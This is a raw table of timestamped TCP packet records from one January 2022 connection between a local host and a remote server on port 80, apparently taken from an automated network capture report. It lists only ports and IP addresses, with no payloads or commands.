Jan 14, 2022 20:23:54.390544891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390546083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390583038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390621901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390660048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390666008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390701056 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390701056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390743971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390782118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390820980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390834093 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390860081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390861988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390898943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390938997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390976906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390989065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.391016006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.391016960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.391057968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.391537905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425040960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425088882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425131083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425143957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425170898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425208092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425219059 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425247908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425286055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425324917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425328016 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425365925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425405979 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425420046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425457954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425498962 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425507069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425545931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425549030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425585032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425623894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425661087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425667048 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425699949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425700903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425740004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425779104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425818920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425843000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425849915 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.425890923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425930023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.425968885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.426007032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.426043987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.426043987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.426058054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.426083088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.426120996 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.426161051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.426162004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.426202059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.426203012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.448122978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448347092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448441982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.448563099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448626041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.448626995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448669910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448709965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448749065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448760033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.448788881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448792934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.448827028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448865891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448904991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448911905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.448942900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.448951006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.448982954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449021101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449057102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449068069 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449095964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449101925 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449136019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449174881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449214935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449222088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449253082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449268103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449294090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449333906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449373007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449385881 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449413061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449424982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449451923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449491978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449534893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449564934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449574947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449595928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449615955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449656010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449695110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449707985 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449734926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449736118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449774981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449814081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449860096 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449882984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449924946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.449938059 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.449963093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450002909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450042963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450047970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450089931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450094938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450136900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450175047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450215101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450221062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450256109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450261116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450293064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450331926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450370073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450382948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450407982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450412989 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450448036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450485945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450526953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450530052 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450567007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450568914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450604916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450644016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450683117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450695038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450721025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450733900 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450763941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450805902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450848103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450862885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450890064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.450896978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.450927973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.453562975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.483505964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483561993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483597994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483638048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483676910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483685017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.483716011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483732939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.483756065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483760118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.483795881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483833075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483871937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483886003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.483911037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483917952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.483952045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.483990908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484029055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484039068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.484067917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484069109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.484107018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484143972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484183073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484185934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.484226942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.484237909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484277010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484314919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484354019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484368086 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.484391928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484404087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.484432936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484472036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484510899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484529018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.484549999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484563112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.484589100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484628916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.484680891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.507854939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.507911921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.507945061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.507970095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508023024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508066893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508080959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.508119106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508145094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.508160114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508198977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508222103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.508239985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508280039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508316994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508347988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.508368015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.508810043 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.788212061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.794140100 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.845568895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.845594883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.845611095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.845674038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851020098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851064920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851092100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851103067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851109982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851140022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851145983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851170063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851193905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851216078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851217985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851246119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851254940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851273060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851289988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851294994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851317883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851337910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851360083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851373911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851391077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851413012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851433039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851459026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851460934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851476908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851479053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851495028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851502895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851519108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851541042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851541996 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851560116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851577997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851583004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851603985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851620913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851644993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851648092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851670027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851675034 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851691008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851713896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851722956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851747990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851764917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851790905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851790905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851815939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851819992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851841927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851860046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851864100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851887941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851917028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851917028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851939917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851960897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.851984978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.851986885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852013111 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852014065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852040052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852058887 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852066040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852092981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852118969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852139950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852144957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852170944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852196932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852214098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852230072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852236986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852246046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852247000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852266073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852274895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852284908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852293968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852302074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852319956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852340937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852344990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852354050 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852379084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852390051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852397919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852412939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852416992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852435112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852446079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852452993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852472067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852489948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852500916 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852508068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852523088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852529049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852546930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852559090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852565050 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852582932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852600098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852610111 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852617979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852638006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852641106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852652073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852664948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852684975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852701902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852720976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852722883 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.852737904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.852754116 CET	49866	80	192.168.2.3	81.163.30.181
